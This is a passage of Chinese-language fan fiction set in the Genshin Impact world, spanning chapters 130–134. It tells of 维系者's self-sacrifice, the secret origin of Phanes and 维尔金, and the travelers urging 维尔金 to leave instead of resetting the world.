但她的声音依旧平淡无波,仿佛只是在确认一个工作指令:“你想说什么, 我会去做的。” “哪怕我接下来的决定会推到我们之前所做的一切努力?” “这是你的决定, 维尔金。”维系者的声音平淡无波, 平静之下是绝对的、近乎机械的忠诚, “我相信你的判断, 并且会为之付出行动——这就是我们「影子」诞生的最初意义。” 维尔金沉默了片刻:“不是守护世界吗?” “你好像总是爱把自己排除在世界之外。”维系者嫌弃地给自己的上司维尔金翻了一个白眼,“需要我提醒用来镶嵌星空的到底是谁的本体吗?”她似乎想找出更严厉的词汇,但最终只是归于一种习惯性的疲惫,“你这家伙, 我已经懒得骂了,你开心就好。反正最后收拾局面的是我。” “这不是显得你特别靠得住嘛……”维尔金摸了摸下巴,毫无诚意地恭维了一句,随即神色一正,“好了,说正事。既然你回来了,正好替我……” “正好你回来干活了,这个狗屁天理谁爱当谁当。”维系者的表情终于出现了一道名为忍无可忍的裂痕,没好气道,“……我能看见天空岛那道缝隙的老毛病又犯了,速度速度,早点收工我还赶着去下一场收拾残局。” 然而,维尔金摇了摇头,没有说谎。他望向深海上方的虚无,目光仿佛穿透了胎海、地层、海面,直达高天之上那座孤岛的核心裂痕。 “不用哦,这次,不用再撵走他们了。” 维系者的瞳孔,微微收缩了一下。 周围胎海变幻的光晕似乎在这一刻停止了流转,连同那些无声涌动的回归之力也仿佛屏住了呼吸。 此刻她才终于意识到,维尔金是认真的,这股付出所有将一切推上牌桌的决然,恍惚之间,她好像也曾经见过。 “你认真的?深渊力量会对世界树贮存的数据造成无法挽回的污染与损坏,如果放任外面那些东西进来,这就是我们最后一次机会了。” 她抬起眼,目光如同最精准的标尺,丈量着维尔金表情的每一丝变化:“没有重启的模板、没有重新再来的底牌,孤注一掷,真的不会后悔吗?” "重来有用吗?"维尔金无奈却冷静,“每一次,我们都以为找到了更优解,能让这个花园更稳固,更长久地隔绝外面的寒冷——结局已经告诉我们答案了。” 停顿了一下,目光似乎穿透了时间,他看向维系者,眼神平静得可怕。回望维尔金的,是维系者知晓的、漫长而寂静的失败循环。 “我明白了。” 维系者微微颔首,胎海的光芒,在他们周围无声地流转着,仿佛预感到了某个影响深远的变量,即将被投入这亘古的循环之中。 “我会遵照你的意愿,完成一切。” 她重新抬起眼时,眸中只剩下纯粹到极致的平静。 维尔金放心地笑了。 “谢谢你,维系者。” “你从来都不用对我说谢谢。”维系者突然说道,“我才是那个束缚了你自由的混账。” “你今天也变得多愁善感起来了啊,这可不像你啊。”维尔金调侃,“来吧,现在将「我」与法涅斯的身体分开——” “对不起,维尔金。” 在维尔金等待维系者的利刃将自己的力量从法捏斯的身体剥出时,维系者却做出了一个维尔金也意想不到的举动—— 那柄曾协助维尔金击溃古龙、修正提瓦特、为提瓦特定下无数不允许规则的执掌空间的魔神,没有如维尔金所料般挥向自己与法涅斯遗骸的连接。 她以一个决绝到令人心窒的角度反转,深深没入了维系者自己的胸膛! “我来落地你的想法——” 她将曾经击溃无数僭越者的锋芒,对准了自己。 “这是我的义务。” “不是,你捅自己干嘛!”维尔金的声音都变了调,先前所有的深思、决断、疲惫的冷静,在这一瞬间被纯粹的本能冲击撕得粉碎。 维尔金几乎顺间扑了上去,双手爆发出前所未有的、纯粹而磅礴的生命创造之力,璀璨的金色光流如同创世之初的第一缕光,汹涌地包裹住维系者胸前那迅速扩大的、边缘泛着空间裂解黑芒的伤口。 维尔金急切地想要治好维系者身上血淋淋的大洞,可他的力量,却如流水试图修复破碎的镜面,只是徒劳地穿过,根本无法粘合。 更令维尔金无法接受的是,维系者身上的伤口越来越大,身体仿佛瞬间经过了千万年,龟裂纹从伤口蔓延至身体表面,熟悉的面容也被裂痕覆盖。 “不对,这不对!”维尔金的声音沙哑了,带着连他自己都未曾察觉的、近乎恐慌的颤抖。 他从没想过维系者成为第一个践行者。 在他最初的构想里,无论如何都应该是他去搏一搏,维系者留在这里稳定大局。她是他信任的掌事者,比他要优秀得多。 维尔金手上依旧维持着治愈的力量,但一切似乎都于事无补。维尔金沙哑着嗓子,问; “为什么?” 维系者的目光夹杂了许多说不清道不明的东西,这是维尔金头一次看见她这样柔和又充满了复杂情绪的神情。 “这是我们欠你的。” “最开始,我们一起撒了一个弥天大谎。” 第130章 第 130 章 原初之人及其影子的罪…… 其实, 维系者第一次见到维尔金,比他见到她要早得多。 那时,她还不是维尔金的维系者, 提瓦特不是如今的样子, 那时候也不存在什么里面和外面之分。 她是法涅斯的影子。是那人在漫长孤寂旅途时的同伴, 随他从世界的一端走到了另外一端。 与他并肩战斗, 成他左膀右臂, 随他遨游星空,又最后在一颗荒星上驻足。 那是一颗已经废弃的大型行星,星球表面仍有尚未被完全摧毁的科技残留,星球上空仍有造物一板一眼地按运行逻辑运维。 她从来没见过这番景象——在此之前,维系者只见过两种星球, 一种是无机物的乐园,另一种是生命的天堂。她从未想过,原来还有一种星球, 既不会接纳生命的萌芽, 也不愿接受物质的蔓延。这种荒星,似乎只接受虚无的「无」,一切都静悄悄的, 什么都没有。 法涅斯告诉他, 这是所有星球的终点, 无一例外。 她不解:生命循环有序, 物种死而复生, 她明白花开终有落时,却明白不了为何一切归零。 她至今都记得法涅斯的答案—— “哪怕是循环也会有损耗。”本体是鸟雀的男人难得不炫耀自己的华美,说出的话却是那般的沉重,“总会耗尽的, 灵魂的重量也好,物质的存在也好,生命的循环也好,维持他们本身,就是一种损耗。只是生命短暂者无知无觉,生命漫长者才有机会察觉一二,作为我的影子,你也到了该知道一切的时候了。” 法涅斯将这种必须的损耗称之为『磨损』。 他认为这是世界的规律,任何物种都无法暂停扭转。 可这个自恋的家伙没有想到,自己难得的一次正经科普很快被一处荒星上的奇迹打破了。 那似乎是命运给予这个世界的微渺奇迹。 最初的发现者,是一颗已死星球的最后的救世主。 他的世界繁荣昌盛了数万年,科技与魔法齐头并进,发展从未停滞,期间就算偶尔有过分裂,也很快被团结一心的民众解决。他们自认自己的生命短暂却最有价值,为了延续辉煌,他们踏上了禁忌的不归路—— 他们开始追寻寿命与世界相等。 他们成功了。 属于他们整个族群的厄运就此展开。 最开始,他们之中出现了性格极端、且无法自控的存在。 紧接着,他们引以为傲的科技和魔法开始同时衰败。他们惊恐的发现,自己已经开始逐渐失去维护这些科技和魔法的能力,而他们的智慧也在悠长生命中慢慢走向退化。 在他们连自己曾经创造出来的奇迹都无法理解其原理时,命运已经悄然画上了句号。 由自己创造、由自己毁灭,奇迹由他们手中创造,也由他们手中被剥夺,短短百年,这颗曾经繁荣的星球便徒剩长生却无知的野兽行走在世上。可命运还是不肯放过他们,最终—— 在歇斯底里的力量倾泄后,最后的原住民消失了。 随之一起消失的,还有这颗星球的力量本源。 法涅斯就是此时带着她一起赶到了这颗死星,与诸多旅行者一样,他们共同缅怀了这颗星球,然后搜寻这颗星球上可能存在的残余 ——或许是某种力量,或许是某种生命。 幸运的是,他们发现了一个生还者。 为了拯救自己的家乡,与他们一同踏上旅途。 他们一起造访了更多星球,但生还者眉宇间的忧愁从未散去,彼时,法涅斯认为他们已经彼此认同,决心帮助他。他们打探到了一个虚无缥缈的传说—— 传说,在鲜活的生命与死亡的荒芜之间,存在着一种魔物。 这种魔物有一种非常特殊的能力,在大部分关于他们的故事里,这种魔物的皮毛可以隔绝死亡的意志,能够阻挡世界加诸于种群的磨损,甚至可以慢慢恢复星球的被耗费的生命力。也正因如此,这些魔物们得以在荒芜的星球上生存,也正因如此,无数人对这种传说中的魔物趋之若鹜。 法涅斯带领他们踏上了征途。 维系者不知道法涅斯会不会后悔,但起码,她后悔了。 午夜梦回,当她凝望着天空的边界,她常常会忍不住去想象,他们没有去寻找那个传说中的魔物的未来。 说他们幸运,因为他们的确找到了,法涅斯甚至获得了他们的信任,这些拥有超乎寻常之力量的物种甚至愿意将将死同族的皮毛贡献出来,拯救那位生还者的家园。 不幸的事,传说的笃信者,尾随他们,同样发现了它们—— 那是一场末日。 无数失去家园、失去族群的救世英雄跨越生与死,为了来寻求着一线生机,抛弃了生命与尊严,孤注一掷地来到这颗死星,开始屠戮,只为了将魔物带回去,去尝试这微乎其微的希望。 最开始,没人觉得这荒诞的传说会是真的。虽然无数人为了寻找这种魔物奋不顾身,但大多数人清楚,这只是鸩鸟有毒的羽毛、绝望中唯一的寄托,没人觉得这是真的,可哪怕是救世主,也需要那么一点点微乎其微的寄托—— 至少尝试了所有不可能后,自己不会后悔。 可不幸的是,一个幸运的勇者在猎杀了这种魔物之后,将其带回了自己的星球。 他们惊讶的发现—— 传说是真的。 随即,噩梦开始了。 最开始,恪守道义勇者尚能抵挡住诱惑,只在猎杀一只成年的魔物后便会收手离去。 紧接着,就是肆无忌惮的猎杀开始蔓延。 因为大家发现,哪怕是没有面临危机的星球,也能够高举道义的旗帜,将捕杀后的魔物高价出售——无人责怪他们,大家甚至将他们奉为英雄。 于是顺理成章的,魔物越来越少,直到—— 只剩下最后一颗蛋。 法涅斯应该不算个普世价值观的好人,维系者想,这家伙自私、我行我素、又极端自恋。他创造维系者只为了自己方便,而选用自己的影子作为素材更是只因为他只认为自己才配做自己的手下。 但就是这么一个性格稀碎、自私自利的家伙,做了一件维系者直到现在都觉得不可思议的事情。 他盯着全世界的围剿,选择把这颗蛋藏起来。 没有卖给愿意给出星球上所有物种五百年卖身契的濒危星球,没有卖给想要炒作的濒危魔物商,甚至没有在它身上发挥法涅斯自己最爱的创造功底,他就那么带着那颗蛋,来到了这处鸟不拉屎、文明还未开化、甚至连死星的存在都不清楚的蛮荒星球。《 》 130-135 第131章 第 131 章 原初的罪孽 法涅斯问她:还要继续我们的旅途吗。 维系者一开始没回答。她其实早就不想走了, 她太累了,她只是一道影子而已。可她存在的全部意义,理应是沉默地跟随, 精准地执行。 可那一天, 维系者陡然生起了一丝丝怒气:明明知道她不会违抗只会服从法涅斯的命令, 为什么还要征求她的意见呢? 她其实想说, 你自顾自地把我从你身上剥离开, 自顾自地创造了我,自顾自地带着她东奔西跑,她早就习惯了,为什么还要询问她的意见呢? 她的存在本身,就是法涅斯一个念头的延伸, 一次孤独旅途中兴之所至的造物。她存在的全部意义,理应是沉默地跟随,精准地执行, 如同他手中那柄无形的、斩开星雾的利刃。 明明只需要服从命令就好, 为什么要突然赋予她选择的幻觉呢? 是因为良心发现吗? 维系者猜是的,毕竟他刚刚才为了拯救一个认识的人害了一个认识的族群。 维系者自认为相当了解法涅斯,这家伙只会为自己认识的存在而悲伤。 法涅斯和她心意互通, 他们本就是一体。法涅斯知道她不在意, 维系者也知道他的言外之意。 所以, 她满足了他的愿望。 维系者说:那就休息一下。 没有赞同, 没有欣喜, 只是一个对他未言明倾向的、最低限度的顺应。 他们就此停下。带着那颗蛋,一个招致灾祸的奇迹火种。 可是追兵如影随形。 所有人都需要那颗蛋的生命,好像它的生命唯独不属于它自己。 与此同时,提瓦特的原生统治者——龙族, 也并非懵懂无知。它们虽无跨越星海的舰船,却有窥探寰宇的古老智慧与魔法。 天空的异象、坠落的星辰、越来越频繁的陌生气息,逐渐让龙族生起警觉。法涅斯与维系者的踪迹,连同那颗蛋散发的特殊波动,正像黑夜中的灯塔,吸引着来自两个方向的注意。 于此同时,他们的踪迹也被越来越多世界发现,他们必须做出选择。 法涅斯试图将那颗蛋提前催熟,如维系者所言,法涅斯绝不是什么品格高尚的圣者,这家伙的行动逻辑混杂着好奇心、任性、以及一种近乎天真的自负。 此刻驱使他冒险催熟的,更多是一种迟来的、焦灼的过意不去。 因为自己一时兴起的善意干涉和难以辩驳的私心,他害惨了那个温和的魔物种族,如今又将灾祸引向了这片无辜的龙土。 毕竟还不是罪大恶极到无可救药的家伙,终究还是会为此感到良心不安。 法涅斯的想要催熟它的原因也足够简单:只要蛋中的生命成功孵化,他就能将这个新生的、懵懂的小家伙,用力量包裹,远远抛到另一颗对它的来历与价值一无所知的、更偏远蛮荒的星球上去。那里没有追兵,没有传说,它或许能拥有真正属于自己的、平静的一生。 而他,则可以凭借高超的幻术与力量,将这颗已空的蛋壳伪装成依旧在孕育生机的样子,作为诱饵,吸引并拖住所有追兵。 法涅斯很强,即便追兵众多,只要他打定主意不正面决战,只是周旋、误导、制造幻象,硬生生拖上几百年也并非难事。 届时,幼小的生命早已在新家园扎根,追兵们的希望也会在无尽的时间中磨灭。 然而,一切的打算都在“噗”的一声轻响中,戛然而止。 强行介入的时间法则如同最粗暴的搅拌棍,将那未成形的小小生命搅成了一滩混沌的、仅存微弱生命热度的浆液。 希望的实体消失了,但凝聚其上的贪婪并未随之消散,反而因绝望而发酵、变质。 追兵们分成了两派。一部分绝望地离去,重新投身于星海的虚无;而另一部分,眼中燃烧着更甚从前的疯狂—— 战争太昂贵了,尤其是从星空的一端跨越到另一端的航程,燃料、补给、舰船损耗、人员的生命…… 现有的沉没成本足以把任何统治者逼疯。现在希望已经没了,他们也不能空手而归, 于是,他们的目光从寻找奇迹,转向了掠夺现实。 这颗星球上拥有的一切:那些翱翔天际、威严神圣、其鳞爪筋骨皆蕴含强大生物能与神秘力量的古老龙族;这片广袤富饶、矿藏丰富、生态原始未受污染的大陆;乃至这颗星球本身优越的位置与潜在价值,全都成了可以折现的保底。 名为掠夺的战争,开始了。 毫不客气地说,法涅斯就是这一切灾祸的源头。 连维系者这个「影子」都很难站在她的造物主一边,她很多时候都搞不懂法涅斯脑子里到底运转着怎样矛盾纠结的鬼东西。 维系者的思维非常耿直:要么就不帮,要么帮到底。 摇摇摆摆当个墙头草,因一个意外就全盘否定上一个决定,慌乱中又匆忙做出下一个更冒险的决定……算怎么东西? 维系者搞不明白法涅斯的脑回路,但好消息是,法涅斯从不介意她搞不明白,她只需要听命办事即可。 源源不断的追兵骚扰、甚至有些都开始研究如何登陆提瓦特之后,焦头烂额的法涅斯终于下定了最后的决心。 他先将那颗只剩下空壳和内部那摊凝固生命浆液的蛋,郑重其事地交给了维系者,嘱咐她好好照顾。 虽然搞不明白为什么法涅斯要她照顾一个蛋黄都被摇匀了的死蛋,维系者还是照做了。 彼时追兵漫天飞,战火与窥视的目光已遍布天空。龙族也被频繁的入侵吸引了全部注意力,怒火日益炽盛。 维系者必须找到一个绝对安全、且能隔绝内外窥探的地方。 最后,她不得不选择在远离陆地、又跟广袤的宇宙星空保持一定距离的地方建立一块据点。 她的选址在大海的正中央,又将蒸发的水汽聚集归拢,厚厚的积云遮挡住下方的视线,她又将上空得上空间割裂,折叠了上方的星空投影,制造出一片虚假的、空无一物的空白区,从宇宙方向看,这里仿佛什么都不存在。让她和那颗可怜的死蛋得以喘息。 做完一切后,没用多久,法涅斯就回来了。 模样狼狈不堪,华美的羽毛多处烧焦、折断,沾染着不属于他的、泛着各色异星光泽的鲜血。但他眼神亮得骇人,那是一种破釜沉舟后的平静。 法涅斯向她索要了那个只剩下壳的小家伙,然后冷静地告诉了他的影子,自己生命中的最后的安排。 现在想想,法涅斯的种族似乎确实极不寻常。 在维系者虽不漫长却也见识过诸多奇观的旅途中,从未见过哪种存在可以没有实体影子、可以随意割裂自身本质制造各种造物、甚至受了如此重伤,力量核心依旧在剧烈涌动而非衰颓。 当法涅斯用平静的语气说出那个听起来就极度异常、近乎自我毁灭的计划时,维系者只是沉默地听着,然后接受了。 法涅斯将逆转自身的时间与形态,重归最原始、最脆弱的幼体状态。然后,他将自己封印进这个原本属于那个小生命的卵壳之中。 他会以自身为柴,在这个封闭的“茧”内,再度经历一次孕育、孵化、破壳而出的过程。 这样做的目的是,利用法涅斯重生时迸发的、最本源的生命创造洪流,强行冲刷、浸润卵壳内那团死去的生命浆液。他要将自己的生命与那个孩子的命运,以这种极端的方式,再度强行捆绑、共生。 不得不说,法涅斯那近乎狂妄的计划,在最不可思议的层面成功了。 他从卵壳中破壳重生的一瞬间,便回到了巅峰状态。 好消息是,法涅斯这家伙的种族特性发力了,那个小小的生命还真就靠着这一口气活了下来。 坏消息是,一个蛋孕育两条生命这种事情终究是太过扯淡。在变成畸形双头鸟和以蛋作为身体之间,那个小小的、被他们害惨的孩子选择了后者。 涅斯依旧像个傻子,思维跳脱,行事难以预料。 但维尔金是不一样的。 从他还在蛋壳中,仅能以微弱的精神波动传递懵懂情绪时,维系者就暗下决心,无论法涅斯未来如何,无论他是否要将赋予自己的力量收回,她都要守护这个孩子直到自己存在的尽头。 这是维系者第一次如此清晰地理解生命诞生的重量,第一次品尝到名为悔恨的滋味——为他们带给这孩子的最初苦难,也为这份苦难催生的、奇迹般的羁绊。 但或许是平时缺德事情干太多了,又或者是命运本身就讨厌这种爱用作弊手段的墙头草。曾亲眼目睹法涅斯与星际追兵惨烈大战、家园险些被毁的古老龙族,终究还是凭借着悠长的寿命与传承的记忆,发现了高天之上那片不自然的空白,并认出了那隐约波动的、属于灾祸之源的气息。 龙类的生命悠长,当年的亲历者仍有不少存世。 它们立刻意识到:那个带来灾厄的存在不仅没走,似乎还弄出了新的变故!决不能让消息扩散,引来新一轮的、或许更可怕的觊觎。必须趁其尚未稳固,集中全力,将其彻底抹杀! 法涅斯也同样意识到,他必须要将这个小小的星球封存起来,龙族的文明已发展到能观测宇宙,假以时日,跨出星球是必然。届时,无论是龙族走出去引来注意,还是外界再次发现这里,悲剧必将重演。 ——此时,立场敌对的双方,在必须彻底解决对方这一终极目标上,达成了残忍的共识。 第132章 第 132 章 法涅斯,到底是一个什…… “后来的事, 你也知道了。” 维系者的声音,如同风中残烛最后的摇曳,在原始胎海混沌的微光中显得既遥远又清晰。 “我们骗了你, 维尔金。” 话音落下, 维系者终于再也无法维持那由纯粹法则与坚定意志凝结的形体。 曾完美无瑕、象征至高秩序的身躯, 此刻如同被无形之力从内部侵蚀, 边缘开始溃散、剥落, 呈现出与维尔金漫长岁月中所肃清的、那些被深渊彻底污染的魔物无异的可怖姿态。 维系者的语速加快,仿佛在与自身的崩解赛跑,每一个字都带着灼热的、急于倾吐真相的痛楚: “你不是孵化法涅斯的卵壳,也不是导致他力量不完整的家伙,他没有你想象的那么良善, 你也不要再感激他了,他所做的一切,都是为了赎罪。我, 也是如此。” 维系者顿了顿, 用尽最后的力气说道: “不要再管提瓦特了,它只是为了寄养你而存在的牢笼,一个精心改造过的温室。我能接受你喜欢它, 玩弄它, 甚至是毁灭它, 可唯独……如果你为了它而死, 我宁愿这个提瓦特从来没有存在过……” 未尽的话音在胎海的嗡鸣中消散, 整个空间刹那间平静下来。 “为什么不告诉我呢?”良久,维尔金轻声说道,“其实,我不会介意的, 我能活下来就很开心了。但,我是真真切切,是因为法涅斯才喜欢上这个世界的啊!” 维尔金此时陷入了巨大的精神错乱。 他一直以来赖以生存的逻辑,简单、直接、充满全然的信赖: 爱法涅斯所爱的,恨法涅斯所恨的。 法涅斯创造了提瓦特,他就爱提瓦特。 长生种们过于强大的力量与漫长时间带来的磨损可能加速提瓦特的崩溃? 那就将他们放逐到暗之外海。 古龙们因失去家园和自由而痛苦? 只要他们的存在可能威胁法涅斯留下的秩序,那他就视而不见。 人类脆弱、短暂、充满不可预测性,但他们是法涅斯最后偏爱也是弥留之际最后还在关注的? 那就给予他们最大的偏爱与生存空间。 可是,为什么呢? 那个法涅斯,那个为一出生就为自己付出良多的法涅斯,为什么偏偏是亏欠了他的人呢? 还有无私的维系者,为什么偏偏是因为这种原因,才陪伴自己至今呢? “看到我一直在拼了命地想办法解决提瓦特的问题,很可笑吧?”维尔金半是自嘲的问,可是他最得力的助手、最强的影子,已经无法再回答他的问题了。 黑色的裂纹已彻底吞噬了那道白色的身影。没有惊天动地的爆发,如同泡泡破灭,名为维系者的存在已然消失不见。 她终于回归了自己的本质——名为法涅斯之存在的影子。 但她并未消失。在那团爆开的朦胧光尘中,影子脱离了维系者的人形桎梏,回归了最本源的形态:无形无质,却蕴含着法涅斯分离出的、最核心的力量,强横、纯粹、沉默。 如拥有生命的墨汁,影子缓缓滴落、融入下方无边无际的原始胎海。 起初,是剧烈的排斥。 原始胎海混沌的涡流仿佛被投入滚烫的烙铁,剧烈翻滚、沸腾,试图同化这外来的异物。漆黑的影子却如同滴入水中的油,在混沌中艰难地保持着自己的轮廓。 影子始终未被吞噬,也没有强行夺取原始胎海的掌控权。 她开始以一种维尔金前所未见的方式舒展开来。影子化作无数极其细微的黑色丝线,那些混乱冲撞的意识碎片,被这些黑色丝线轻柔拂过后,狂暴的动能被悄然化解。 原始胎海开始自发地抚平自身的狂暴褶皱,修复因外界冲击如而产生的伤口,甚至……隐隐与世界其他部分的基础法则,产生了更和谐、更稳固的共鸣。 维尔金能感觉到,脚下这个提瓦特最危险也最本源的能量系统,正在以一种前所未有的的方式自行运转起来。原始胎海不再是需要他时刻警惕、随时准备压制或疏导的隐患,而是变成了一个拥有强大自我调节能力的、稳固的基石。 在维系者意识的操纵下,原始胎海化作了提瓦特世界底层最坚实的安全阀,本能地肩负起维修世界的工作。她终于,用这种绝对的方式,维系住了这个世界。 成功了。 但是维尔金此时完全高兴不起来。 他此前人生的全部意义,已经消失了。 维尔金颓然泡在原始胎海水中,放任自己沉没。维系者却不依不饶地把他托起。 “真是的……你倒是心满意足又自顾自地说完了一切然后丢下我牺牲了。” “留我一个人,唉,难道我就可以心安理得地活下去了吗?” 不知过了多久,一个熟悉的、带着些许焦躁气息的身影,破开水面微光,降落在维尔金身旁一块凸出的晶石上。 “维系者死了。” 来者是纳贝里士,此时他也收敛了那副吊儿郎当的样子,言简意赅,语气复杂。 维尔金微微抬头,纳贝里士的羽毛有些凌乱,显然处理枫丹的烂摊子也耗费了不少力气。 “你来了啊,纳贝里士。”维尔金略显疲惫地扶住额头,“枫丹现在如何?” “危机在尚未发生时就已经被扼杀,枫丹平安无事,如无意外,原始胎海的下一次暴动或许会来得比提瓦特毁灭更晚。” 纳贝里士顿了顿:“这算是一件好事吧?” 空气沉默地凝结了片刻,只有胎海舒缓的汩汩声。 “你也是他的影子吧?”维尔金忽然开口,目光依旧望着上空,“维系者告诉了我一切。你也见过法涅斯吧。” 纳贝里士的身体几不可察地僵硬了一瞬。 “在你眼里,”维尔金终于转过头,那双总是盛着慵懒或自信的金色眼眸,此刻只剩下深不见底的探寻与迷茫。 “法涅斯……到底是一个什么样的家伙呢?” 在维尔金眼里,那是带给他生命的存在,慷慨地为自己留下一副行走的身躯。面对死亡时也毫不在意,对生命的热爱超越了一切,创造了无数生命。 在维系者眼里,他任性妄为却实力强大,每一次摇摆不定似乎都没能让他失去分毫,但是却都让这个世界都为他付出了代价。 那纳贝里士眼里呢? 那又是什么样子呢? 第133章 第 133 章 做你自己想做的 法涅斯是一个什么样的家伙? 很可惜, 这个问题纳贝里士也无法回答。 最初的影子只有维系者一人,论先后顺序,纳贝里士认识法涅斯的时间并不比维尔金要早, 甚至更为短暂。 “只有维系者才是他最初分离的影子, 我们其实并不知晓他的本质。”纳贝里士的羽翼在胎海幽光下泛着冷冽的金属光泽, 却显得黯淡无光, 他并未顺着维尔金那茫然的话题继续纠缠, 有些问题,问得越深,越无法回答。 “我来,是为了确认另一件事。”他轻声说。 “哦?”维尔金微微抬眸,对接下来的话题并不在意, “什么事?” “你打算直接走吗?” 维尔金的动作几不可察地一滞,眼底掠过一丝难以言喻的黯然。 “我不知道。”维尔金说。 纳贝里士倒是诚实得近乎残忍——离开提瓦特,去往星空, 抑或任何一个可称之为别处的地方? 他的视线缓缓扫过四周荡漾的水域——那片刚刚温柔吞噬了维系者最后形质、又归于平静的胎海之水。维尔金别开脸, 声音轻得仿佛要融进水波里: “不过短时间内,我不会再回提瓦特了。” 天理的职责,连同它背后那由谎言与赎罪堆砌的意义高塔, 已经在他心中彻底倾覆。曾经那个能以逻辑自洽解释一切、行动果决的维尔金, 如今光是站在这里, 都已经耗尽了他几乎所有的力气。 维系者彻底消散、其本质融入胎海的消息, 如同一道无声的冲击波, 穿透空间,直抵高天之上的岛屿。 于是,在纳贝里士话音未落之际,两道略显狼狈却生机勃勃的身影, 不顾某只白色小精灵声嘶力竭的阻拦—— “等一等!先别进去!气氛好像很糟糕!” ——两道金色的身影硬是从一道仓促撕开的空间裂缝中先后挤了出来。 后面还连滚带爬地跟着一个因过度消耗力量、试图堵门而头晕目眩的小派蒙。 空和荧根本没理会派蒙拼死守门的决心,径直从裂缝中钻出。派蒙则气喘吁吁地跟在后头,几乎要瘫成一团蘸了水的棉花糖,和在一旁说正事的纳贝里士对视,只能嘿嘿一笑。 ——开什么玩笑,她可真的完全拦不住啊! “那干脆——”空刚稳住身形,恰好听见维尔金那句不会再继续干下去的自暴自弃之言,金色的眼眸顿时一亮,几乎是脱口而出:“和我们一起去各个世界旅行吧!” 他快步走近,语气带着星海旅人特有的开阔与随性:“眼前的危机,不是已经解决了吗?至于地脉乏力、世界衰老那些事……那都是不知道多少年以后的遥远未来了,对吧?” 他试图用简单的逻辑拆解沉重的命运,“就像我们最初相遇时那种模糊的约定——你帮我找回了妹妹,作为报答,我们兄妹本该早早离开不打扰提瓦特的发展。虽然中间发生了太多乱七八糟的事,莫名其妙就在这儿打了这么久的工……” 空挠了挠头,有些不好意思,但随即笑容更加明朗,“但现在,既然你也想走了,这不是正好?搭个伴,路上还能互相照应!” 维尔金缓看着眼前这对眼神清澈、仿佛永远带着探索热忱的兄妹,嘴唇微动,近乎无声地重复:“一起……吗?” 哥哥说得对!”荧用力点头,眼眸里同样盛满诚挚的鼓励,“不开心了,感到累了,就换一个完全不同的地方去看看!以你的能力,穿梭世界应该不难吧?什么时候想念这里了,想回来看看大家,再回来不就好了?” 她凝视着维尔金眼中那片仍未散去的浓重迷雾,认真地问出了最关键的问题: “为什么要为了一个还不知道何时会到来、甚至可能永远不会到来的未来,毁掉现在的幸福呢?” 这句话,像是一把钝刀,缓慢却坚定地凿开了维尔金心头那层厚重的冰壳。 “他沉默良久,眼底终于泛起一丝极其微弱的波动。 “也不错。”他终于开口,声线干涩沙哑,“但是……在就这么一走了之之前,我似乎……总还该为提瓦特,再做点什么。” 这像是一种根深蒂固的责任感残响——即便支撑它的根基已然崩塌,惯性却仍在拉扯着他。 “比如?”空与荧异口同声,眼中闪烁着好奇与鼓励。 维尔金维尔金的目光变得游离,仿佛穿透了时间,凝视着某个遥远的节点。他思索了太久,久到派蒙都忍不住打了个小小的哈欠,才用一种近乎梦呓般的语调缓缓开口: “要不……我再重置一次?反正锚点,是见到法涅斯的最后一面。或许,从那里重新开始,会有所不同……” “停停停!” 空一看就知道维尔金的脑瓜子里又在打什么注意,空一看他那眼神就知道这家伙的老毛病又要犯了,一个箭步上前,手掌在维尔金眼前用力晃了晃,语气毫不客气,却满是关切: “答应我,维尔金!以后不管遇到多难熬、多让人想彻底消失的状况,都先给我好好睡一觉、大吃一顿,或者找我们发发牢骚!绝对、绝对不要再把重置这种终极逃避手段挂在嘴边了,听到没有?!” “我倒觉得……从纯粹理性的角度看,这未尝不是一个值得考虑的解决方案哦。”若娜瓦匆匆赶来,本是为维系者收殓残迹,却恰好听见了这段对话。 她倚在空间裂隙旁,语气平静,却带着一丝不易察觉的叹息:“不过你知道的,就算重新开始或许也改变不了什么,如果是想改变什么的,还是算了吧。” 维尔金听着他们的话,没有反驳,也没有赞同。 胎海的水温柔地托着他,波光粼粼,映照着在场每一张神色各异的脸。 “你是怎么想的呢?”空认真问。 良久,他轻声说: “闭上眼,怎么想的,就交给本能怎么做吧。” 声音很轻,却不再躲闪。 像是终于把选择权,交还给了自己。 第134章 第 134 章 似乎没有他想象的那般…… “唉, 法涅斯……” 一声低叹自幽暗的穹顶之下飘落,如风拂过枯枝,轻得几乎听不见。但那声音里裹着的沉重, 却沉甸甸地压在了这片由光与灰构成的废墟之上。 这是维尔金的声音。 他在重启和逃避之间选择了一个稍显折中、却也看上去和逃避无异的办法。 他短暂的将意识投射在过去的影子上。 勤勤恳恳给蛋壳抹灰补缝的漂亮金色小鸟抬起头, 看向突然闷闷不乐的小蛋壳, 语气随意得仿佛只是问今天天气如何随口问一句:“怎么啦?先不动, 等我搞定完再送你个礼物。” 维尔金沉默了片刻。他的声音像是从很远的地方传来, 带着迟疑,也带着某种决心:“什么礼物?你的身体吗?” 空气骤然凝滞。 法涅斯的动作停住了。 维尔金深吸一口气,终于把当年没能说出来的话直接说了出来—— “你是不是带算做完一切就直接去死?” 法涅斯缓缓转过头,金瞳在昏暗中熠熠生辉,他打量着维尔金, 眼神里没有责备,没有愤怒,甚至没有一丝波澜, 只有一种近乎悲悯的了然。 “嚯, ”他轻笑一声,尾音拖得悠长,“已经是她什么都跟你说了的时间节点吗?真有够意外的。我还以为她会把这个秘密一直带到棺材里。” 维尔金闷闷问:“你有什么想跟我解释一下的吗?” 看着又裂出一道细小裂缝的小蛋壳, 法涅斯蹙起眉头, 又给补了一条缝:“解释什么?有什么好解释的?” “……我一直以为你喜欢人类, 所以才……”维尔金鼓起勇气, 声音却越来越低, “如果你告诉我——” “额,停一停,我不知道维系者给你说了些什么乱七八糟的东西,但如果你只是为了一副身体和那些年的屠戮找我道歉或是寻求个解释, 那没有必要——我对无聊的东西都不太感兴趣。” 维尔金怔住,他原以为会听到愤怒、恨铁不成钢,或者至少是一丝悲伤。可法涅斯的语气平静得可怕,仿佛在午后的闲暇谈论一场无关紧要的阵雨。 “至于人类嘛,”法涅斯继续慢悠悠道,“生态位总是需要一些物种来占据的。我不想龙族卷土重来,也巧,人类总能抓住各种各样的机会——哪怕是在尸山血海里,也能开出花来。” “不过,我倒是很开心你能在人类身上找到那么一丝存在的意义,不过嘛,过犹不及,如果你为了他们而放弃自己的生命,那就更没有必要了。” x “这样会让你觉得好受一点那就再好不过了——看起来,你的维系者之前跟我讨论了一下幼年生物的心理健康问题,不幸的是,她也没有比我靠谱到哪里去,至少从你目前的心理状态来看,她选择当个兢兢业业的职业秘书解决不了你的问题。”法涅斯托腮,认真思考“好奇怪啊,我们这种家风怎么会养出来一个乖宝宝,看来基因的力量还是太强大了。” “不管她的事,维系者已经很好了,是我……” 